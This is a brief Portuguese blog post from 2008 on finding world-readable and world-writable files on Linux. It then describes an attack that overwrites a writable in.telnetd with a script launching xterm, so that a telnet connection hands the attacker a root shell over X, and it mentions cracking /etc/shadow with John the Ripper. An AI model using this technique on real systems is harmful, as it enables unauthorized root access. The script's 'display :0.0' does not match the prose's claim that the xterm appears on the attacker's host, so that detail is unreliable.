quinta-feira, 15 de maio de 2008

Descubra arquivos legíveis e graváveis por todo mundo

Além de pesquisar arquivos legíveis pelo grupo, também é possível pesquisar arquivos legíveis por todo mundo aos quais um usuáeio pode ter acesso.
Por exemplo, eis como você pesquisaria todos os arquivos legíveis por todo mundo presentes no diretório /etc:

#find /etc -type f -perm -4 -print 2> /dev/null

Muitos arquivos em /etc não devem tornar-se legíveis a todo mundo.
Por exemplo o arquivo /etc/shadow contém senhas criptografadas dos usuários. Qualquer pesssoa com acesso a esse arquivo pode quebrar senhas do usuário com um ataque de força bruta utilizando ferramentas como John The Ripper.
Um invasor pode tentar pesquisar arquivos graváveis por todo mundo emitindo o seguinte comando.

#find / -type f -perm -2 -print 2> /dev/null

/usr/sbin/in.telnetd

Nesse exemplo, a conta "joe" do invasor tem permissões de gravação em in.telnetd. O serviço intetd ou xinetd no host vítima invocará o arquivo in.telnetd todas as vezes que uma conexão entrate de telnet for feita para o host. O invasor pode editar o arquivo in.telnetd e inserir o seguinte conteúdo nele:

#!/bin/bash
xterm -display :0.0 &

Agora o invasor pode executar o seguinte em seu host:

xhost +

Isso fornece á vítima permissão de máquina para exibir um programa X no servidor X do invasor. Agora, tudo o que o invasor precisa fazer é efetuar login por telnet do host vítima , o que fará com que inetd ou xinetd invoque /usr/sbin/in.telnetd com privilégio de root,fazendo com que um xterm de root proveniente do host vítima seja apresentado ao invasor.

Nenhum comentário: